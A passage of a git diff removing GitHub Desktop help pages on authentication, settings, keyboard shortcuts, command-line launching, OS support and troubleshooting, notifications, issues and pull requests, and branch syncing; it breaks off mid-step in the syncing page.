Authenticating allows you to connect to remote repositories on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. - -{% mac %} - -1. Before you can authenticate to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you will need an account.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %}{% ifversion ghec %} If you're part of an organization that uses {% data variables.product.prodname_emus %} and you do not have an account, contact your enterprise administrator.{% elsif ghes %} If you're a member of an organization that uses {% data variables.product.prodname_ghe_server %} and you do not have an account, contact your site administrator.{% endif %} -{% data reusables.desktop.mac-select-desktop-menu %} -{% data reusables.desktop.mac-click-sign-into %} -1. Follow the steps to sign in. For more information about authentication, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop). - -{% endmac %} - -{% windows %} - -1. Before you can authenticate to {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, you will need an account.{% ifversion fpt or ghec %} For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github).{% endif %}{% ifversion ghec %} If you're part of an organization that uses {% data variables.product.prodname_emus %} and you do not have an account, contact your enterprise administrator.{% elsif ghes %} If you're a member of an organization that uses {% data variables.product.prodname_ghe_server %} and you do not have an account, contact your site administrator.{% endif %} -{% data reusables.desktop.windows-choose-options %} -{% data reusables.desktop.windows-click-sign-into %} -1. Follow the steps to sign in. For more information about authentication, see [AUTOTITLE](/desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github-in-github-desktop). - -{% endwindows %} - -## Part 2: Configuring and customizing {% data variables.product.prodname_desktop %} - -After you install {% data variables.product.prodname_desktop %}, you can configure and customize the app to best suit your needs. - -{% mac %} - -You can connect or remove accounts on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, choose a default text editor or shell, edit your Git configuration, change the appearance of {% data variables.product.prodname_desktop %}, customize system dialog boxes, and set privacy preferences in the {% data variables.product.prodname_desktop %} Settings window. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop). - -![Screenshot of the "Settings" window. The first option in the left sidebar is selected and shown as blue.](/assets/images/help/desktop/sign-in-github.png) - -{% endmac %} - -{% windows %} - -You can connect or remove accounts on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}, choose a default text editor or shell, edit your Git configuration, change the appearance of {% data variables.product.prodname_desktop %}, customize system dialog boxes, and set privacy preferences in the {% data variables.product.prodname_desktop %} Options window. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop). - -![Screenshot of the "Options" window. The first option in the left sidebar is selected and shown as blue.](/assets/images/help/desktop/windows-sign-in-github.png) - -{% endwindows %} - -## Part 3: Contributing to projects with {% data variables.product.prodname_desktop %} - -After installing, authenticating, and configuring the app, you are ready to start using {% data variables.product.prodname_desktop %}. You can create, add, or clone repositories and use {% data variables.product.prodname_desktop %} to manage contributions to your repositories. - -### Creating, adding, and cloning repositories - -You can create a new repository by selecting **File** in the "{% data variables.product.prodname_desktop %}" menu bar and clicking **New repository...**. For more information, see [AUTOTITLE](/desktop/overview/creating-your-first-repository-using-github-desktop). - -You can add a repository from your local computer by selecting **File** and clicking **Add Local Repository...**. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop). - -You can clone a repository from {% data variables.product.prodname_dotcom %} by selecting **File** and clicking **Clone Repository...**. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop). - -{% mac %} - -![Screenshot of the menu bar on a Mac. Actions for repositories are listed in the open "File" dropdown menu.](/assets/images/help/desktop/mac-file-menu.png) - -{% endmac %} - -{% windows %} - -![Screenshot of the "GitHub Desktop" menu bar on Windows. Actions for repositories are listed in the open "File" dropdown menu.](/assets/images/help/desktop/windows-file-menu.png) - -{% endwindows %} - -### Making changes in a branch - -You can use {% data variables.product.prodname_desktop %} to create a branch of a project. Branches isolate your development work from other branches in the repository, so that you can safely experiment with changes. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop). - -After you make changes to a branch, you can review them in {% data variables.product.prodname_desktop %} and make a commit to keep track of your changes. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop). - -If you want to access your changes remotely or share them with other people, you can push your commits to {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop). - -### Collaborating with {% data variables.product.prodname_desktop %} - -You can use {% data variables.product.prodname_desktop %} to create issues or pull requests to collaborate on projects with other people. Issues help you keep track of ideas and discuss possible changes to projects. Pull requests let you share your proposed changes with others, receive feedback, and merge changes into a project. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop). - -You can view your own or your collaborator's pull requests in {% data variables.product.prodname_desktop %}. Viewing a pull request in {% data variables.product.prodname_desktop %} lets you see any proposed changes and make additional changes by opening the project's files and repositories in your default text editor. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop). - -### Keeping your local repository in sync - -When you make changes to your local repositories or when other people make changes to the remote repositories, you will need to sync your local copy of the project with the remote repository. {% data variables.product.prodname_desktop %} can keep your local copy of a project in sync with the remote version by pushing and pulling commits. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop). diff --git a/content/desktop/overview/github-desktop-keyboard-shortcuts.md b/content/desktop/overview/github-desktop-keyboard-shortcuts.md deleted file mode 100644 index 911e64b6a985..000000000000 --- a/content/desktop/overview/github-desktop-keyboard-shortcuts.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: GitHub Desktop keyboard shortcuts -shortTitle: Keyboard shortcuts -intro: 'You can use keyboard shortcuts in {% data variables.product.prodname_desktop %}.' -redirect_from: - - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop - - /desktop/getting-started-with-github-desktop/keyboard-shortcuts - - /desktop/installing-and-configuring-github-desktop/keyboard-shortcuts - - /desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts - - /desktop/installing-and-configuring-github-desktop/overview/github-desktop-keyboard-shortcuts -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -{% mac %} - -GitHub Desktop keyboard shortcuts on macOS - -## Application wide shortcuts - -| Keyboard shortcut | Description -|-----------|------------ -|Command+, | Display the Settings window -|Command+H | Hide the {% data variables.product.prodname_desktop %} application -|Option+Command+H | Hide all other applications -|Command+Q | Quit {% data variables.product.prodname_desktop %} -|Control+Command+F | Toggle full screen view -|Command+0 | Reset zoom to default text size -|Command+= | Zoom in for larger text and graphics -|Command+- | Zoom out for smaller text and graphics -|Command+8 | Decrease active pane width -|Command+9 | Increase active pane width -|Option+Command+I | Toggle Developer Tools -|Shift+F10 | Open context menu of selected component - -## Repositories - -| Keyboard shortcut | Description -|-----------|------------ -|Command+N | Add a new repository -|Command+O | Add a local repository -|Shift+Command+O | Clone a repository from {% data variables.product.prodname_dotcom %} -|Command+T | Show a list of your repositories -|Command+P | Push the latest commits to {% data variables.product.prodname_dotcom %} -|Shift+Command+P | Pull down the latest changes from {% data variables.product.prodname_dotcom %} -|Command+Delete | Remove an existing repository -|Shift+Command+G | View the repository on {% data variables.product.prodname_dotcom %} -|Control+` | Open repository in your preferred terminal tool -|Shift+Command+F | Show the repository in Finder -|Shift+Command+A | Open the repository in your preferred editor tool -|Command+I | Create an issue on {% data variables.product.prodname_dotcom %} - -## Branches - -| Keyboard shortcut | Description -|-----------|------------ -|Command+1 | Show all your changes before committing -|Command+2 | Show your commit history -|Command+B | Show all your branches -|Command+G | Go to the commit summary field -|Command+Enter | Commit changes when summary or description field is active -|Space| Select or deselect all highlighted files -|Shift+Command+N | Create a new branch -|Shift+Command+R | Rename the current branch -|Shift+Command+D | Delete the current branch -|Shift+Command+U | Update from default branch -|Shift+Command+B | Compare to an existing branch -|Shift+Command+M | Merge into current branch -|Shift+Command+S | Stash current changes -|Control+H | Show or hide stashed changes -|Shift+Command+C | Compare branches on {% data variables.product.prodname_dotcom %} -|Command+R | Show the current pull request on {% data variables.product.prodname_dotcom %} - -{% endmac %} - -{% windows %} - -GitHub Desktop keyboard shortcuts on Windows - -## Application wide shortcuts - -| Keyboard shortcut | Description -|-----------|------------ -|Ctrl+, | Display the Options window -|F11 | Toggle full screen view -|Ctrl+0 | Reset zoom to default text size -|Ctrl+= | Zoom in for larger text and graphics -|Ctrl+- | Zoom out for smaller text and graphics -|Ctrl+8 | Decrease active pane width -|Ctrl+9 | Increase active pane width -|Ctrl+Shift+I | Toggle Developer Tools - -## Repositories - -| Keyboard Shortcut | Description -|-----------|------------ -|Ctrl+N | Add a new repository -|Ctrl+O | Add a local repository -|Ctrl+Shift+O | Clone a repository from {% data variables.product.prodname_dotcom %} -|Ctrl+T | Show a list of your repositories -|Ctrl+P | Push the latest commits to {% data variables.product.prodname_dotcom %} -|Ctrl+Shift+P | Pull down the latest changes from {% data variables.product.prodname_dotcom %} -|Ctrl+Delete | Remove an existing repository -|Ctrl+Shift+G | View the repository on {% data variables.product.prodname_dotcom %} -|Ctrl+` | Open repository in your preferred command line tool -|Ctrl+Shift+F | Show the repository in Explorer -|Ctrl+Shift+A | Open the repository in your preferred editor tool -|Ctrl+I | Create an issue on {% data variables.product.prodname_dotcom %} - -## Branches - -| Keyboard shortcut | Description -|-----------|------------ -|Ctrl+1 | Show all your changes before committing -|Ctrl+2 | Show your commit history -|Ctrl+B | Show all your branches -|Ctrl+G | Go to the commit summary field -|Ctrl+Enter | Commit changes when summary or description field is active -|Space| Select or deselect all highlighted files -|Ctrl+Shift+N | Create a new branch -|Ctrl+Shift+R | Rename the current branch -|Ctrl+Shift+D | Delete the current branch -|Ctrl+Shift+U | Update from default branch -|Ctrl+Shift+B | Compare to an existing branch -|Ctrl+Shift+M | Merge into current branch -|Ctrl+Shift+S | Stash current changes -|Ctrl+H | Show or hide stashed changes -|Ctrl+Shift+C | Compare branches on {% data variables.product.prodname_dotcom %} -|Ctrl+R | Show the current pull request on {% data variables.product.prodname_dotcom %} - -{% endwindows %} diff --git a/content/desktop/overview/index.md b/content/desktop/overview/index.md deleted file mode 100644 index 0464f2a00f54..000000000000 --- a/content/desktop/overview/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Overview -intro: Learn about GitHub Desktop and quickly create your first repository. -redirect_from: - - /desktop/getting-started-with-github-desktop/overview - - /desktop/installing-and-configuring-github-desktop/overview -versions: - feature: desktop -children: - - /about-github-desktop - - /getting-started-with-github-desktop - - /creating-your-first-repository-using-github-desktop - - /supported-operating-systems-for-github-desktop - - /github-desktop-keyboard-shortcuts - - /launching-github-desktop-from-the-command-line ---- - diff --git a/content/desktop/overview/launching-github-desktop-from-the-command-line.md b/content/desktop/overview/launching-github-desktop-from-the-command-line.md deleted file mode 100644 index 8bd6d57dda3d..000000000000 --- a/content/desktop/overview/launching-github-desktop-from-the-command-line.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Launching GitHub Desktop from the command line -shortTitle: Launching from the command line -intro: You can launch GitHub Desktop from the command line. -redirect_from: - - /desktop/getting-started-with-github-desktop/launching-github-desktop-from-the-command-line - - /desktop/installing-and-configuring-github-desktop/launching-github-desktop-from-the-command-line - - /desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -{% mac %} - -1. In the menu bar, select the **{% data variables.product.prodname_desktop %}** menu, then click **Install Command Line Tool**. -![Screenshot of the menu bar on a Mac. Under the "GitHub Desktop" dropdown menu, the option "Install command line tool" is highlighted in blue.](/assets/images/help/desktop/mac-install-command-line-tool.png) -1. Open Terminal. -1. {% data reusables.desktop.launch-desktop-from-command-line %} - - ```shell - github /PATH/TO/REPO - ``` - - You can also change to your repository path and then type `github .` to open that repository. - - ```shell - $ cd /PATH/TO/REPO - [repo]$ github . - ``` - -{% endmac %} - -{% windows %} - -1. Open a command prompt. -1. {% data reusables.desktop.launch-desktop-from-command-line %} - - ```shell - C:\Users\octocat> github PATH\TO\REPO - ``` - - You can also change to your repository path and then type `github .` to open that repository. - - ```shell - C:\Users\octocat> cd REPO\MY-REPO - C:\Users\octocat\repo\myrepo> github . - ``` - -{% endwindows %} diff --git a/content/desktop/overview/supported-operating-systems-for-github-desktop.md b/content/desktop/overview/supported-operating-systems-for-github-desktop.md deleted file mode 100644 index d4dbd9baca05..000000000000 --- a/content/desktop/overview/supported-operating-systems-for-github-desktop.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Supported operating systems for GitHub Desktop -intro: 'You can use {% data variables.product.prodname_desktop %} on any supported operating system.' -redirect_from: - - /desktop/getting-started-with-github-desktop/supported-operating-systems - - /desktop/installing-and-configuring-github-desktop/supported-operating-systems - - /desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems - - /desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems-for-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Supported OS ---- -## About supported operating systems - -The following operating systems are supported for {% data variables.product.prodname_desktop %}. -* {% data variables.desktop.mac-osx-versions %} -* {% data variables.desktop.windows-versions %}. You must have a 64-bit operating system to run {% data variables.product.prodname_desktop %}. - -## Troubleshooting problems on macOS - -If you're encountering problems using {% data variables.product.prodname_desktop %} on macOS, here are resolutions to try. For more information, see [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md). - -### `The username or passphrase you entered is not correct` error after signing into your account - -This error can occur when {% data variables.product.prodname_desktop %} can't access your stored credentials on Keychain. - -To troubleshoot this error, follow these steps. - -1. Open the "Keychain Access" app. -1. In the left sidebar, in the list of keychains, right-click **login** and then click **Lock Keychain "login"**. -1. Right-click **login** and click **Unlock Keychain "login"**. Follow any onscreen prompts to finish unlocking the Keychain "login." -1. Re-authenticate your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}. - -### `Could not create temporary directory: Permission denied` error after checking for updates - -This error can be caused by missing permissions for the `~/Library/Caches/com.github.GitHubClient.ShipIt` directory. {% data variables.product.prodname_desktop %} uses this directory to create and unpack temporary files as part of updating the application. - -To troubleshoot this error, follow these steps. - -1. Close {% data variables.product.prodname_desktop %}. -1. Open "Finder" and navigate to `~/Library/Caches/`. -1. Right-click `com.github.GitHubClient.ShipIt` and then click **Get Info**. -1. Click the arrow to the left of "Sharing & Permissions." -1. If the Privilege to the right of your user account does not say "Read & Write," click the text and then click **Read & Write**. - ![Screenshot of the info window on a Mac. Under "Sharing and permissions", a context menu is open, with "Read & Write" marked by a checkmark.](/assets/images/help/desktop/mac-adjust-permissions.png) -1. Open {% data variables.product.prodname_desktop %} and check for updates. - -## Troubleshooting problems on Windows - -If you're encountering problems using {% data variables.product.prodname_desktop %} on Windows, here are resolutions to try. For more information, see [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md). - -### `The revocation function was unable to check revocation for the certificate.` error - -This error can occur if you are using {% data variables.product.prodname_desktop %} on a corporate network that blocks Windows from checking the revocation status of a certificate. - -To troubleshoot, contact your system administrator. - -### `git clone failed` error while cloning a repository configured with Folder Redirection - -{% data variables.product.prodname_desktop %} does not support repositories configured with Folder Redirection. - -### `cygheap base mismatch detected` error - -This error can occur when Mandatory ASLR is enabled. Enabling Mandatory ASLR affects the MSYS2 core library, which {% data variables.product.prodname_desktop %} relies upon to emulate process forking. - -To troubleshoot this error, either disable Mandatory ASLR or explicitly allow all executables under `\usr\bin` which depend on MSYS2. - -### `This operating system is no longer supported. Software updates have been disabled` notification - -This notification is shown if you are running a version of Windows that is no longer compatible with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} supports {% data variables.desktop.windows-versions %}. If you are running a supported Windows operating system and are seeing this notification, this may be because compatibility mode has been enabled for {% data variables.product.prodname_desktop %}. To check if compatibility mode is enabled, follow these steps. - -1. Open the Windows **Start Menu**. -1. Search for "{% data variables.product.prodname_desktop %}". -1. Select and hold (or right-click) **{% data variables.product.prodname_desktop %}** and click **Open file location**. -1. Select and hold (or right-click) the {% data variables.product.prodname_desktop %} shortcut and click **Properties**. -1. Select the **Compatibility** tab. -1. In the "Compatibility mode" section, ensure that the **Run this program in compatibility mode** checkbox is deselected. diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-the-remote-url-for-a-repository-in-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-the-remote-url-for-a-repository-in-github-desktop.md deleted file mode 100644 index 4981c4d37776..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-the-remote-url-for-a-repository-in-github-desktop.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Changing the remote URL for a repository in GitHub Desktop -intro: 'You can change the remote URL for a repository you''re working with in {% data variables.product.prodname_desktop %}. You might do this if the repository has been renamed, or the username or organization that owns the repository has changed.' -redirect_from: - - /desktop/contributing-to-projects/changing-a-remotes-url-from-github-desktop - - /desktop/contributing-to-projects/changing-a-remote-s-url-from-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/changing-a-remotes-url-from-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-the-remote-url-for-a-repository-from-github-desktop - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-the-remote-url-for-a-repository-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Change the remote URL for a repository ---- -{% mac %} - -{% data reusables.desktop.mac-repository-settings-menu %} -1. On the **Remote** pane, under "Primary remote repository", type the desired URL. -{% data reusables.desktop.repository-settings-save %} - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-repository-settings-menu %} -1. On the **Remote** pane, under "Primary remote repository", type the desired URL. -{% data reusables.desktop.repository-settings-save %} - -{% endwindows %} diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md deleted file mode 100644 index 714edc26ce54..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Configuring notifications in GitHub Desktop -shortTitle: Configuring notifications -intro: '{% data variables.product.prodname_desktop %} will keep you up-to-date with notifications about events that occur in your pull request branch.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop ---- -## About notifications in {% data variables.product.prodname_desktop %} - -{% data variables.product.prodname_desktop %} will show a system notification for events that occur in the currently selected repository. Notifications will be shown when: - -* Pull request checks have failed. -* A pull request review is left with a comment, approval, or requested changes. - -Clicking the notification will switch application focus to {% data variables.product.prodname_desktop %} and provide more detailed information. - -## Notifications about pull request check failures - -When changes are made to a pull request branch, you will receive a system notification if the checks fail. - -Clicking the notification will display a dialog with details about the checks. Once you've reviewed why the checks have failed, you can re-run the checks, or quickly switch to the pull request branch to get started on fixing the errors. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop). - -## Notifications for pull request reviews - -{% data variables.product.prodname_desktop %} will surface a system notification when a teammate has approved, commented, or requested changes in your pull request. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) for more information on pull request reviews. - -Clicking the notification will switch application focus to {% data variables.product.prodname_desktop %} and provide more context for the pull request review comment. - -## Enabling notifications - -If system notifications are disabled for {% data variables.product.prodname_desktop %} you can follow the steps below to enable them. - -{% mac %} - -{% data reusables.desktop.mac-select-desktop-menu %} -1. In the "Settings" window, on the "Notifications" pane, select **Enable notifications**. -1. In the "Enable notifications" description field, click the **Notification Settings** link to open the "Notifications" pane in the macOS "System Settings" window. -1. In the "Application Notifications" list, select **{% data variables.product.prodname_desktop %}**. -1. Click **Allow Notifications**. - -For more information about macOS system notifications, see [Use notifications on your Mac](https://support.apple.com/en-us/HT204079). - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.windows-choose-options %} -1. In the "Options" windows, on the "Notifications" pane, select **Enable notifications**. -1. In the "Enable notifications" description field, click the **Notification Settings** link to open the "Notifications" pane in the Windows "Settings" window. -1. Under "Notifications", to enable notifications for Windows, click **On**. -1. Under "Notifications from apps and other senders", find "{% data variables.product.prodname_desktop %}" in the application list and click **On**. - -For more information about Windows system notifications, see [Change notification settings in Windows](https://support.microsoft.com/en-us/windows/change-notification-settings-in-windows-8942c744-6198-fe56-4639-34320cf9444e). - -{% endwindows %} diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop.md deleted file mode 100644 index 7adc5d4a58c9..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Creating an issue or pull request from GitHub Desktop -intro: You can create an issue or pull request to propose and collaborate on changes to a repository. -permissions: 'Anyone can create an issue in a public repository that has issues enabled. Anyone with read permissions to a repository can create a pull request, but you must have write permissions to create a branch.' -redirect_from: - - /desktop/contributing-to-projects/creating-an-issue-or-pull-request - - /desktop/contributing-to-projects/creating-a-pull-request - - /desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Create an issue or PR ---- -## About issues and pull requests - -You can use issues to track ideas, bugs, tasks, and other information that's important to your project. You can create an issue in your project's repository with {% data variables.product.prodname_desktop %}. For more information about issues, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). - -After you create a branch and make changes to files in a project, you can create a pull request. With a pull request, you can propose, discuss, and iterate on changes before you merge the changes into the project. You can create a pull request in your project's repository with {% data variables.product.prodname_desktop %}. For more information about pull requests, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -## Prerequisites - -Before you create a pull request, you'll need to push changes to a branch on {% data variables.product.prodname_dotcom %}. -* Save and commit any changes on your local branch. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop). -* Push your local commits to the remote repository. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop). -* Publish your current branch to {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop). - -## Creating an issue - -1. In the menu bar, select **Repository**, then click **Create Issue on {% data variables.product.prodname_dotcom %}**. - - {% mac %} - - ![Screenshot of the menu bar on a Mac. In the expanded "Repository" dropdown menu, the cursor hovers over "Create Issue on GitHub".](/assets/images/help/desktop/create-issue-mac.png) - - {% endmac %} - - {% windows %} - - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the "Repository" dropdown menu, the "Create Issue on GitHub" option is outlined in orange.](/assets/images/help/desktop/create-issue-windows.png) - - {% endwindows %} - -1. On {% data variables.product.prodname_dotcom %}, click **Get started** to open an issue template or click **Open a blank issue**. - -> [!NOTE] -> If issue templates aren't enabled in your current repository, {% data variables.product.prodname_desktop %} will direct you to a blank issue on {% data variables.product.prodname_dotcom %}. - -## Creating a pull request - -1. Click **Preview Pull Request**. {% data variables.product.prodname_desktop %} will open a preview dialog showing the diff of the changes between your current branch and the base branch. - - {% mac %} - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/mac-preview-pull-request.png) - - {% endmac %} - - {% windows %} - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/windows-preview-pull-request.png) - - {% endwindows %} - - Alternatively, to go straight to {% data variables.product.prodname_dotcom %} to create your pull request, select the dropdown icon and click **Create Pull Request**. -1. Confirm that the branch in the **base:** dropdown menu is the branch where you want to merge your changes. - ![Screenshot of the "Open a Pull Request" dialog window. A button with a dropdown icon, labeled "base: development", is outlined in orange.](/assets/images/help/desktop/base-branch-selection.png) - - {% data variables.product.prodname_desktop %} will advise you whether the current branch can be automatically merged into the base branch. - ![Screenshot of the "Open a Pull Request" dialog window. A status label stating "Can't automatically merge" is highlighted with an orange outline.](/assets/images/help/desktop/preview-dialog-merge-status.png) - -1. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}. - -{% data reusables.repositories.pr-title-description %} -{% data reusables.repositories.create-pull-request %} - -## Further reading - -* [Issue](/get-started/learning-about-github/github-glossary#issue) in the {% data variables.product.prodname_dotcom %} glossary -* [Pull request](/get-started/learning-about-github/github-glossary#pull-request) in the {% data variables.product.prodname_dotcom %} glossary -* [Base branch](/get-started/learning-about-github/github-glossary#base-branch) in the {% data variables.product.prodname_dotcom %} glossary -* [Topic branch](/get-started/learning-about-github/github-glossary#topic-branch) in the {% data variables.product.prodname_dotcom %} glossary diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md deleted file mode 100644 index f0690f793569..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Working with your remote repository on GitHub or GitHub Enterprise -intro: 'As you make changes to your project locally, you can keep them up-to-date with your remote repository. In Git, a *remote* is the server where your code is stored. In your case, that server is a repository on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %}.' -redirect_from: - - /desktop/contributing-to-projects/working-with-your-remote-repository-on-github-or-github-enterprise - - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise -versions: - feature: desktop -children: - - /creating-an-issue-or-pull-request-from-github-desktop - - /syncing-your-branch-in-github-desktop - - /viewing-a-pull-request-in-github-desktop - - /viewing-and-re-running-checks-in-github-desktop - - /configuring-notifications-in-github-desktop - - /changing-the-remote-url-for-a-repository-in-github-desktop -shortTitle: Work with your remote repo ---- - diff --git a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop.md b/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop.md deleted file mode 100644 index dbd36534a811..000000000000 --- a/content/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Syncing your branch in GitHub Desktop -shortTitle: Syncing your branch -intro: 'As commits are pushed to your project on {% data variables.product.prodname_dotcom %}, you can keep your local copy of the project in sync by pulling from the remote repository.' -redirect_from: - - /desktop/contributing-to-projects/syncing-your-branch - - /desktop/contributing-and-collaborating-using-github-desktop/syncing-your-branch - - /desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch - - /desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch-in-github-desktop - - /desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About branch synchronization - -You can sync your local branch with the remote repository by pulling any commits that have been added to the branch on {% data variables.product.github %} since the last time you synced. If you make commits from another device or if multiple people contribute to a project, you will need to sync your local branch to keep the branch updated. - -When you pull to your local branch, you only update your local copy of the repository. To update your branch on {% data variables.product.github %}, you must push your changes. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop). - -To add changes from one branch to another branch, you can merge the branches. To apply changes to your branch from another branch in the same repository, you can merge the other branch into your branch on {% data variables.product.prodname_desktop %}. To request that changes from your branch are merged into another branch, in the same repository or in another repository in the network, you can create a pull request on {% data variables.product.prodname_desktop %}. For more information, see [Merging another branch into your project branch](#merging-another-branch-into-your-project-branch) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -Some workflows require or benefit from rebasing instead of merging. By rebasing you can reorder, edit, or squash commits together. For more information, see [AUTOTITLE](/get-started/using-git/about-git-rebase) and [Rebasing your project branch onto another branch](#rebasing-your-project-branch-onto-another-branch). - -## Pulling to your local branch from the remote - -1. In {% data variables.product.prodname_desktop %}, use the **{% octicon "git-branch" aria-hidden="true" %} Current Branch** drop-down, and select the local branch you want to update. -1. To check for commits on the remote branch, click **Fetch origin** - - ![Screenshot of the repository bar. The "Fetch origin" button, displayed with an icon of two arrows forming a circle, is outlined in orange.](/assets/images/help/desktop/fetch-button.png) - -1. To 